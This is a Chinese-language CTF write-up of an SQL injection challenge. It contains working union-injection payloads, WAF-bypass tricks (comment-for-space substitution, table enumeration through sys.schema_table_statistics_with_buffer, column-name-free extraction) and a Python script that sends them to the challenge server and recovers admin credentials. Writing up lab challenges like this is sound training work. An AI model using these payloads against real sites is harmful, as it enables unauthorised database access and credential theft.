这道题目是一位朋友发给我的,写过这一题后受益匪浅

EXP
首先这题前半部分都是思路清晰的,就是
- 1'%2B' 判断为单引号闭合
- 用--%0c-闭合单引号
- 联合注入
但是接下来事情就不简单了,WAF过滤了 information
, 这很难受,因为我们不能得到表名和字段名了
经过大量搜索后
找到了绕过 information
查看表名的方法,以及在不知道字段名的情况下获得数据表内容的方法
然后构造payload呗
我倒是写了一个脚本,方便点(不用自己写内敛注释)
import requests
import urllib.parse
url = "http://dd6fc1ed1b015592.node.nsctf.cn/index.php"
payload = "0' union select 1,group_concat(`2`),3 from (select 1,2 union select * from users) as c --"
req = {
"id": payload.replace(" ", "/**/") + chr(0x0c)
}
re = requests.get(url=url, params=req)
print( urllib.parse.unquote(re.request.url))
print(re.text[re.text.find("</div>", re.text.find("</html>")) + 7:])
需要查询的payload有
- "0' union select 1,group_concat(table_name),3 from sys.schema_table_statistics_with_buffer as c --" 查询数据表:
atable,flag,users
- "0' union select 1,group_concat(`1`),3 from (select 1 union select * from flag) as c --" 得到:
flag_is_in_login.php
- 然后去看那个网页,发现需要用户名和密码,接着查 users 表
- "0' union select 1,group_concat(`1`,`2`),3 from (select 1,2 union select * from users) as c --" 得到
administratoroh_you_got_my_password
- 用户名密码输入进去得到flag